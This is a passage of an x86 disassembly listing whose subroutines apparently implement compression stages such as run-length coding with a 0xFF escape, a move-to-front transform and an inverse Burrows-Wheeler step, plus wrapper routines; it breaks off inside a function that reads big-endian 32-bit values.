var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 28h
mov eax, [ebp+Src]
mov [ebp+var_10], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_18], ecx
mov edx, [ebp+arg_8]
mov eax, [ebp+var_10]
add eax, [edx]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+var_18]
lea ecx, [eax+edx-2]
mov [ebp+var_C], ecx
mov byte ptr [ebp+var_4], 0FFh
mov byte ptr [ebp+var_14], 1
mov edx, [ebp+var_18]
mov byte ptr [edx], 1
mov eax, [ebp+var_18]
add eax, 1
mov [ebp+var_18], eax
loc_48D0CC: ; CODE XREF: sub_48D089:loc_48D254j
mov ecx, [ebp+var_10]
cmp ecx, [ebp+var_8]
jnb loc_48D259
mov edx, [ebp+var_10]
add edx, 2
cmp edx, [ebp+var_8]
jnb loc_48D1E2
mov eax, [ebp+var_10]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_4]
and edx, 0FFh
cmp ecx, edx
jnz loc_48D1E2
mov eax, [ebp+var_10]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_4]
and edx, 0FFh
cmp ecx, edx
jnz loc_48D1E2
mov eax, [ebp+var_10]
xor ecx, ecx
mov cl, [eax+2]
mov edx, [ebp+var_4]
and edx, 0FFh
cmp ecx, edx
jnz loc_48D1E2
mov [ebp+var_20], 3
mov eax, [ebp+var_10]
add eax, 3
mov [ebp+var_1C], eax
loc_48D141: ; CODE XREF: sub_48D089+E6j
mov ecx, [ebp+var_1C]
cmp ecx, [ebp+var_8]
jnb short loc_48D171
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_4]
and ecx, 0FFh
cmp eax, ecx
jnz short loc_48D171
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+var_1C]
add eax, 1
mov [ebp+var_1C], eax
jmp short loc_48D141
; ---------------------------------------------------------------------------
loc_48D171: ; CODE XREF: sub_48D089+BEj
; sub_48D089+D2j ...
cmp [ebp+var_20], 3
jb short loc_48D1D7
cmp [ebp+var_20], 101h
jbe short loc_48D189
mov [ebp+var_28], 101h
jmp short loc_48D18F
; ---------------------------------------------------------------------------
loc_48D189: ; CODE XREF: sub_48D089+F5j
mov ecx, [ebp+var_20]
mov [ebp+var_28], ecx
loc_48D18F: ; CODE XREF: sub_48D089+FEj
mov edx, [ebp+var_28]
mov [ebp+var_24], edx
mov eax, [ebp+var_18]
mov byte ptr [eax], 0FFh
mov ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+var_24]
sub edx, 3
mov eax, [ebp+var_18]
mov [eax], dl
mov ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+var_20]
sub edx, [ebp+var_24]
mov [ebp+var_20], edx
mov eax, [ebp+var_18]
cmp eax, [ebp+var_C]
jb short loc_48D1D5
mov byte ptr [ebp+var_14], 0
mov ecx, [ebp+var_8]
mov [ebp+var_10], ecx
jmp short loc_48D1D7
; ---------------------------------------------------------------------------
loc_48D1D5: ; CODE XREF: sub_48D089+13Ej
jmp short loc_48D171
; ---------------------------------------------------------------------------
loc_48D1D7: ; CODE XREF: sub_48D089+ECj
; sub_48D089+14Aj
mov edx, [ebp+var_1C]
sub edx, [ebp+var_20]
mov [ebp+var_10], edx
jmp short loc_48D254
; ---------------------------------------------------------------------------
loc_48D1E2: ; CODE XREF: sub_48D089+58j
; sub_48D089+70j ...
mov eax, [ebp+var_10]
xor ecx, ecx
mov cl, [eax]
cmp ecx, 0FFh
jnz short loc_48D222
mov edx, [ebp+var_18]
mov byte ptr [edx], 0FFh
mov eax, [ebp+var_18]
add eax, 1
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov byte ptr [ecx], 0FFh
mov edx, [ebp+var_18]
add edx, 1
mov [ebp+var_18], edx
mov eax, [ebp+var_10]
mov cl, [eax]
mov byte ptr [ebp+var_4], cl
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
jmp short loc_48D246
; ---------------------------------------------------------------------------
loc_48D222: ; CODE XREF: sub_48D089+166j
mov eax, [ebp+var_18]
mov ecx, [ebp+var_10]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_18]
mov cl, [eax]
mov byte ptr [ebp+var_4], cl
mov edx, [ebp+var_18]
add edx, 1
mov [ebp+var_18], edx
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_48D246: ; CODE XREF: sub_48D089+197j
mov ecx, [ebp+var_18]
cmp ecx, [ebp+var_C]
jb short loc_48D254
mov byte ptr [ebp+var_14], 0
jmp short loc_48D259
; ---------------------------------------------------------------------------
loc_48D254: ; CODE XREF: sub_48D089+157j
; sub_48D089+1C3j
jmp loc_48D0CC
; ---------------------------------------------------------------------------
loc_48D259: ; CODE XREF: sub_48D089+49j
; sub_48D089+1C9j
mov edx, [ebp+var_14]
and edx, 0FFh
test edx, edx
jnz short loc_48D294
mov eax, [ebp+arg_4]
mov byte ptr [eax], 0
mov ecx, [ebp+arg_8]
mov edx, [ecx]
push edx ; Size
mov eax, [ebp+Src]
push eax ; Src
mov ecx, [ebp+arg_4]
add ecx, 1
push ecx ; Dst
call _memcpy_1
add esp, 0Ch
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
jmp short loc_48D29F
; ---------------------------------------------------------------------------
loc_48D294: ; CODE XREF: sub_48D089+1DBj
mov edx, [ebp+var_18]
sub edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
mov [eax], edx
loc_48D29F: ; CODE XREF: sub_48D089+209j
mov al, byte ptr [ebp+var_14]
mov esp, ebp
pop ebp
retn
sub_48D089 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48D2A6 proc near ; CODE XREF: .text:0048D03Bp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_8]
mov ecx, [eax]
shl ecx, 2
push ecx
call sub_4C85E1
add esp, 4
mov [ebp+var_14], eax
mov edx, [ebp+var_14]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_8]
mov edx, [ecx]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_48EA9D
add esp, 0Ch
mov [ebp+var_C], 0FFFFFFFFh
mov ecx, [ebp+arg_4]
add ecx, 4
mov [ebp+var_4], ecx
mov [ebp+var_8], 0
jmp short loc_48D2FE
; ---------------------------------------------------------------------------
loc_48D2F5: ; CODE XREF: sub_48D2A6:loc_48D369j
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
loc_48D2FE: ; CODE XREF: sub_48D2A6+4Dj
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_8]
cmp ecx, [eax]
jnb short loc_48D36B
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_48D325
mov edx, [ebp+arg_0]
add edx, 1
mov eax, [ebp+var_8]
mov ecx, [ebp+var_10]
cmp [ecx+eax*4], edx
jnz short loc_48D325
mov edx, [ebp+var_8]
mov [ebp+var_C], edx
loc_48D325: ; CODE XREF: sub_48D2A6+66j
; sub_48D2A6+77j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_10]
mov edx, [ecx+eax*4]
cmp edx, [ebp+arg_0]
jnz short loc_48D34F
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov cl, [eax+ecx-1]
mov [edx], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_48D369
; ---------------------------------------------------------------------------
loc_48D34F: ; CODE XREF: sub_48D2A6+8Bj
mov eax, [ebp+var_8]
mov ecx, [ebp+var_10]
mov edx, [ecx+eax*4]
mov eax, [ebp+var_4]
mov cl, [edx-1]
mov [eax], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_48D369: ; CODE XREF: sub_48D2A6+A7j
jmp short loc_48D2F5
; ---------------------------------------------------------------------------
loc_48D36B: ; CODE XREF: sub_48D2A6+60j
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_C]
mov [eax], ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 4
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov edx, [ebp+var_10]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
push eax
call sub_4C85D6
add esp, 4
mov esp, ebp
pop ebp
retn
sub_48D2A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48D396 proc near ; CODE XREF: .text:0048D051p
Src = byte ptr -114h
Dst = byte ptr -113h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 114h
mov [ebp+var_14], 0
jmp short loc_48D3B1
; ---------------------------------------------------------------------------
loc_48D3A8: ; CODE XREF: sub_48D396+31j
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
loc_48D3B1: ; CODE XREF: sub_48D396+10j
cmp [ebp+var_14], 100h
jge short loc_48D3C9
mov ecx, [ebp+var_14]
mov dl, byte ptr [ebp+var_14]
mov [ebp+ecx+Src], dl
jmp short loc_48D3A8
; ---------------------------------------------------------------------------
loc_48D3C9: ; CODE XREF: sub_48D396+22j
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, [ebp+arg_8]
mov [ebp+var_10], edx
loc_48D3DE: ; CODE XREF: sub_48D396+D6j
mov eax, [ebp+var_8]
cmp eax, [ebp+var_10]
jnb loc_48D471
lea ecx, [ebp+Src]
mov [ebp+var_4], ecx
loc_48D3F3: ; CODE XREF: sub_48D396+78j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
cmp eax, edx
jz short loc_48D410
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_48D3F3
; ---------------------------------------------------------------------------
loc_48D410: ; CODE XREF: sub_48D396+6Dj
mov ecx, [ebp+var_4]
lea edx, [ebp+Src]
sub ecx, edx
mov eax, [ebp+var_C]
mov [eax], cl
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
lea eax, [ebp+Src]
cmp edx, eax
jz short loc_48D463
mov ecx, [ebp+var_4]
lea edx, [ebp+Src]
sub ecx, edx
push ecx ; Size
lea eax, [ebp+Src]
push eax ; Src
lea ecx, [ebp+Dst]
push ecx ; Dst
call _memcpy_2
add esp, 0Ch
mov edx, [ebp+var_8]
mov al, [edx]
mov [ebp+Src], al
loc_48D463: ; CODE XREF: sub_48D396+9Ej
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
jmp loc_48D3DE
; ---------------------------------------------------------------------------
loc_48D471: ; CODE XREF: sub_48D396+4Ej
mov esp, ebp
pop ebp
retn
sub_48D396 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+0Ch]
mov ecx, [eax]
mov [ebp-8], ecx
mov edx, [ebp+10h]
push edx
call sub_4C85E1
add esp, 4
mov [ebp-10h], eax
mov eax, [ebp-10h]
mov [ebp-4], eax
mov byte ptr [ebp-0Ch], 0
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp-4]
push edx
mov eax, [ebp+8]
push eax
call sub_48D089
add esp, 0Ch
and eax, 0FFh
test eax, eax
jz short loc_48D4D5
mov ecx, [ebp+0Ch]
mov edx, [ecx]
push edx
mov eax, [ebp-4]
push eax
mov ecx, [ebp+8]
push ecx
call _memcpy_1
add esp, 0Ch
mov byte ptr [ebp-0Ch], 1
jmp short loc_48D4DD
; ---------------------------------------------------------------------------
loc_48D4D5: ; CODE XREF: .text:0048D4B7j
mov edx, [ebp+0Ch]
mov eax, [ebp-8]
mov [edx], eax
loc_48D4DD: ; CODE XREF: .text:0048D4D3j
mov ecx, [ebp-4]
mov [ebp-14h], ecx
mov edx, [ebp-14h]
push edx
call sub_4C85D6
add esp, 4
mov al, [ebp-0Ch]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+10h]
push eax
call sub_4C85E1
add esp, 4
mov [ebp-8], eax
mov ecx, [ebp-8]
mov [ebp-4], ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp-4]
push ecx
mov edx, [ebp+8]
push edx
call sub_48F3E7
add esp, 10h
mov eax, [ebp+0Ch]
mov ecx, [eax]
push ecx
mov edx, [ebp+8]
push edx
mov eax, [ebp-4]
push eax
call sub_48D59A
add esp, 0Ch
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp-4]
push edx
mov eax, [ebp+8]
push eax
call sub_48D679
add esp, 0Ch
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
mov ecx, [ebp-4]
push ecx
call sub_48D88F
add esp, 10h
and eax, 0FFh
test eax, eax
jnz short loc_48D582
xor al, al
jmp short loc_48D596
; ---------------------------------------------------------------------------
loc_48D582: ; CODE XREF: .text:0048D57Cj
mov edx, [ebp-4]
mov [ebp-0Ch], edx
mov eax, [ebp-0Ch]
push eax
call sub_4C85D6
add esp, 4
mov al, 1
loc_48D596: ; CODE XREF: .text:0048D580j
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48D59A proc near ; CODE XREF: .text:0048D541p
var_118 = byte ptr -118h
var_114 = dword ptr -114h
Src = byte ptr -110h
Dst = byte ptr -10Fh
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 118h
mov [ebp+var_10], 0
jmp short loc_48D5B5
; ---------------------------------------------------------------------------
loc_48D5AC: ; CODE XREF: sub_48D59A+31j
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_48D5B5: ; CODE XREF: sub_48D59A+10j
cmp [ebp+var_10], 100h
jge short loc_48D5CD
mov ecx, [ebp+var_10]
mov dl, byte ptr [ebp+var_10]
mov [ebp+ecx+Src], dl
jmp short loc_48D5AC
; ---------------------------------------------------------------------------
loc_48D5CD: ; CODE XREF: sub_48D59A+22j
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, [ebp+arg_8]
mov [ebp+var_C], edx
loc_48D5E2: ; CODE XREF: sub_48D59A+D6j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jnb loc_48D675
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
lea eax, [ebp+edx+Src]
mov [ebp+var_114], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_114]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_114]
lea eax, [ebp+Src]
cmp edx, eax
jz short loc_48D667
mov ecx, [ebp+var_114]
mov dl, [ecx]
mov [ebp+var_118], dl
mov eax, [ebp+var_114]
lea ecx, [ebp+Src]
sub eax, ecx
push eax ; Size
lea edx, [ebp+Src]
push edx ; Src
lea eax, [ebp+Dst]
push eax ; Dst
call _memcpy_2
add esp, 0Ch
mov cl, [ebp+var_118]
mov [ebp+Src], cl
loc_48D667: ; CODE XREF: sub_48D59A+8Cj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp loc_48D5E2
; ---------------------------------------------------------------------------
loc_48D675: ; CODE XREF: sub_48D59A+4Ej
mov esp, ebp
pop ebp
retn
sub_48D59A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48D679 proc near ; CODE XREF: .text:0048D555p
var_830 = dword ptr -830h
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 830h
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_824], ecx
mov edx, [ebp+arg_0]
add edx, 4
mov [ebp+arg_0], edx
mov eax, [ebp+arg_8]
mov ecx, [eax]
sub ecx, 4
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_8]
mov ecx, [eax]
shl ecx, 2
push ecx
call sub_4C85E1
add esp, 4
mov [ebp+var_82C], eax
mov edx, [ebp+var_82C]
mov [ebp+var_8], edx
mov [ebp+var_14], 0
jmp short loc_48D6D5
; ---------------------------------------------------------------------------
loc_48D6CC: ; CODE XREF: sub_48D679+81j
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
loc_48D6D5: ; CODE XREF: sub_48D679+51j
cmp [ebp+var_14], 100h
jnb short loc_48D6FC
mov ecx, [ebp+var_14]
mov [ebp+ecx*4+var_820], 0
mov edx, [ebp+var_14]
mov [ebp+edx*4+var_414], 0
jmp short loc_48D6CC
; ---------------------------------------------------------------------------
loc_48D6FC: ; CODE XREF: sub_48D679+63j
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
add edx, [ecx]
mov [ebp+var_C], edx
jmp short loc_48D718
; ---------------------------------------------------------------------------
loc_48D70F: ; CODE XREF: sub_48D679+C6j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_48D718: ; CODE XREF: sub_48D679+94j
mov ecx, [ebp+var_4]
cmp ecx, [ebp+var_C]
jnb short loc_48D741
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+eax*4+var_820]
add ecx, 1
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
mov [ebp+eax*4+var_820], ecx
jmp short loc_48D70F
; ---------------------------------------------------------------------------
loc_48D741: ; CODE XREF: sub_48D679+A5j
mov [ebp+var_10], 1
jmp short loc_48D753
; ---------------------------------------------------------------------------
loc_48D74A: ; CODE XREF: sub_48D679+101j
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_48D753: ; CODE XREF: sub_48D679+CFj
cmp [ebp+var_10], 100h
jge short loc_48D77C
mov edx, [ebp+var_10]
mov eax, [ebp+edx*4+var_418]
mov ecx, [ebp+var_10]
add eax, [ebp+ecx*4+var_824]
mov edx, [ebp+var_10]
mov [ebp+edx*4+var_414], eax
jmp short loc_48D74A
; ---------------------------------------------------------------------------
loc_48D77C: ; CODE XREF: sub_48D679+E1j
mov eax, [ebp+arg_0]
mov [ebp+var_41C], eax
mov [ebp+var_418], 0
jmp short loc_48D7AF
; ---------------------------------------------------------------------------
loc_48D791: ; CODE XREF: sub_48D679+185j
mov ecx, [ebp+var_418]
add ecx, 1
mov [ebp+var_418], ecx
mov edx, [ebp+var_41C]
add edx, 1
mov [ebp+var_41C], edx
loc_48D7AF: ; CODE XREF: sub_48D679+116j
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_418]
cmp ecx, [eax]
jnb short loc_48D800
mov edx, [ebp+var_41C]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+eax*4+var_414]
mov edx, [ebp+var_8]
mov eax, [ebp+var_418]
mov [edx+ecx*4], eax
mov ecx, [ebp+var_41C]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+edx*4+var_414]
add eax, 1
mov ecx, [ebp+var_41C]
xor edx, edx
mov dl, [ecx]
mov [ebp+edx*4+var_414], eax
jmp short loc_48D791
; ---------------------------------------------------------------------------
loc_48D800: ; CODE XREF: sub_48D679+141j
mov eax, [ebp+arg_4]
mov [ebp+var_41C], eax
mov [ebp+var_420], 0
mov ecx, [ebp+var_824]
mov [ebp+var_828], ecx
jmp short loc_48D842
; ---------------------------------------------------------------------------
loc_48D821: ; CODE XREF: sub_48D679+1F8j
mov edx, [ebp+var_420]
add edx, 1
mov [ebp+var_420], edx
mov eax, [ebp+var_828]
mov ecx, [ebp+var_8]
mov edx, [ecx+eax*4]
mov [ebp+var_828], edx
loc_48D842: ; CODE XREF: sub_48D679+1A6j
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_420]
cmp ecx, [eax]
jnb short loc_48D873
mov edx, [ebp+arg_0]
add edx, [ebp+var_828]
mov eax, [ebp+var_41C]
mov cl, [edx]
mov [eax], cl
mov edx, [ebp+var_41C]
add edx, 1
mov [ebp+var_41C], edx
jmp short loc_48D821
; ---------------------------------------------------------------------------
loc_48D873: ; CODE XREF: sub_48D679+1D4j
mov eax, [ebp+var_8]
mov [ebp+var_830], eax
mov ecx, [ebp+var_830]
push ecx
call sub_4C85D6
add esp, 4
mov esp, ebp
pop ebp
retn
sub_48D679 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_48D88F(int,void *Dst,int,int)
sub_48D88F proc near ; CODE XREF: .text:0048D56Dp
; .text:0048DA13p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
Dst = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+var_10], eax
mov ecx, [ebp+Dst]
mov [ebp+var_14], ecx
mov edx, [ebp+arg_8]
mov eax, [ebp+arg_0]
add eax, [edx]
mov [ebp+var_8], eax
mov ecx, [ebp+Dst]
add ecx, [ebp+arg_C]
mov [ebp+var_C], ecx
mov [ebp+var_4], 0FFh
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
test eax, eax
jnz short loc_48D8F4
mov ecx, [ebp+arg_8]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_8]
mov edx, [ecx]
push edx ; Size
mov eax, [ebp+arg_0]
add eax, 1
push eax ; Src
mov ecx, [ebp+Dst]
push ecx ; Dst
call _memcpy_1
add esp, 0Ch
mov al, 1
jmp loc_48D9E4
; ---------------------------------------------------------------------------
loc_48D8F4: ; CODE XREF: sub_48D88F+36j
; sub_48D88F:loc_48D9C9j
mov edx, [ebp+var_10]
cmp edx, [ebp+var_8]
jnb loc_48D9CE
mov eax, [ebp+var_14]
cmp eax, [ebp+var_C]
jnb loc_48D9CE
mov ecx, [ebp+var_10]
xor edx, edx
mov dl, [ecx]
cmp edx, 0FFh
jnz loc_48D9A5
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
xor edx, edx
mov dl, [ecx]
cmp edx, 0FFh
jz short loc_48D97F
mov eax, [ebp+var_10]
xor ecx, ecx
mov cl, [eax]
add ecx, 3
mov [ebp+var_18], ecx
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
mov eax, [ebp+var_14]
add eax, [ebp+var_18]
cmp eax, [ebp+var_C]
jb short loc_48D95A
jmp short loc_48D9CE
; ---------------------------------------------------------------------------
loc_48D95A: ; CODE XREF: sub_48D88F+C7j
; sub_48D88F+ECj
mov ecx, [ebp+var_18]
mov edx, [ebp+var_18]
sub edx, 1
mov [ebp+var_18], edx
test ecx, ecx
jz short loc_48D97D
mov eax, [ebp+var_14]
mov cl, [ebp+var_4]
mov [eax], cl
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
jmp short loc_48D95A
; ---------------------------------------------------------------------------
loc_48D97D: ; CODE XREF: sub_48D88F+D9j
jmp short loc_48D9A3
; ---------------------------------------------------------------------------
loc_48D97F: ; CODE XREF: sub_48D88F+A6j
mov eax, [ebp+var_14]
mov ecx, [ebp+var_10]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_14]
mov cl, [eax]
mov [ebp+var_4], cl
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_48D9A3: ; CODE XREF: sub_48D88F:loc_48D97Dj
jmp short loc_48D9C9
; ---------------------------------------------------------------------------
loc_48D9A5: ; CODE XREF: sub_48D88F+8Aj
mov ecx, [ebp+var_14]
mov edx, [ebp+var_10]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_14]
mov dl, [ecx]
mov [ebp+var_4], dl
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_48D9C9: ; CODE XREF: sub_48D88F:loc_48D9A3j
jmp loc_48D8F4
; ---------------------------------------------------------------------------
loc_48D9CE: ; CODE XREF: sub_48D88F+6Bj
; sub_48D88F+77j ...
mov edx, [ebp+var_14]
sub edx, [ebp+Dst]
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+var_10]
xor eax, eax
cmp ecx, [ebp+var_8]
setz al
loc_48D9E4: ; CODE XREF: sub_48D88F+60j
mov esp, ebp
pop ebp
retn
sub_48D88F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+10h]
push eax
call sub_4C85E1
add esp, 4
mov [ebp-8], eax
mov ecx, [ebp-8]
mov [ebp-4], ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp-4]
push ecx
mov edx, [ebp+8]
push edx
call sub_48D88F
add esp, 10h
and eax, 0FFh
test eax, eax
jz short loc_48DA50
mov eax, [ebp+0Ch]
mov ecx, [eax]
push ecx
mov edx, [ebp-4]
push edx
mov eax, [ebp+8]
push eax
call _memcpy_1
add esp, 0Ch
mov ecx, [ebp-4]
mov [ebp-0Ch], ecx
mov edx, [ebp-0Ch]
push edx
call sub_4C85D6
add esp, 4
mov al, 1
jmp short loc_48DA52
; ---------------------------------------------------------------------------
loc_48DA50: ; CODE XREF: .text:0048DA22j
xor al, al
loc_48DA52: ; CODE XREF: .text:0048DA4Ej
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48DA60 proc near ; CODE XREF: sub_48DA60+82p
; sub_48DA60+E2p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
cmp [ebp+arg_4], 0
jz loc_48DB4F
mov eax, [ebp+var_20]
mov ecx, [eax+4]
sub ecx, [ebp+arg_0]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_4]
cmp edx, [ebp+var_C]
jb short loc_48DAF2
mov eax, [ebp+arg_4]
sub eax, [ebp+var_C]
mov [ebp+arg_4], eax
mov ecx, [ebp+var_20]
mov edx, [ecx]
add edx, [ebp+arg_4]
mov [ebp+var_10], edx
mov eax, [ebp+var_20]
mov ecx, [ebp+var_10]
cmp ecx, [eax+8]
jnb short loc_48DAD9
mov edx, [ebp+var_10]
xor eax, eax
mov al, [edx]
shl eax, 18h
mov ecx, [ebp+var_10]
xor edx, edx
mov dl, [ecx+1]
shl edx, 10h
or eax, edx
mov ecx, [ebp+var_10]
xor edx, edx
mov dl, [ecx+2]
shl edx, 8
or eax, edx
mov ecx, [ebp+var_10]
xor edx, edx
mov dl, [ecx+3]
or eax, edx
mov [ebp+var_14], eax
jmp short loc_48DAEA
; ---------------------------------------------------------------------------
loc_48DAD9: ; CODE XREF: sub_48DA60+44j
push 0
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_20]
call sub_48DA60
mov [ebp+var_14], eax
loc_48DAEA: ; CODE XREF: sub_48DA60+77j
mov eax, [ebp+var_14]
jmp loc_48DBA1
; ---------------------------------------------------------------------------
loc_48DAF2: ; CODE XREF: sub_48DA60+25j
mov ecx, [ebp+arg_0]
add ecx, [ebp+arg_4]
mov [ebp+var_18], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+var_18]
cmp eax, [edx+8]
jnb short loc_48DB39
mov ecx, [ebp+var_18]
xor edx, edx
mov dl, [ecx]
shl edx, 18h
mov eax, [ebp+var_18]
xor ecx, ecx
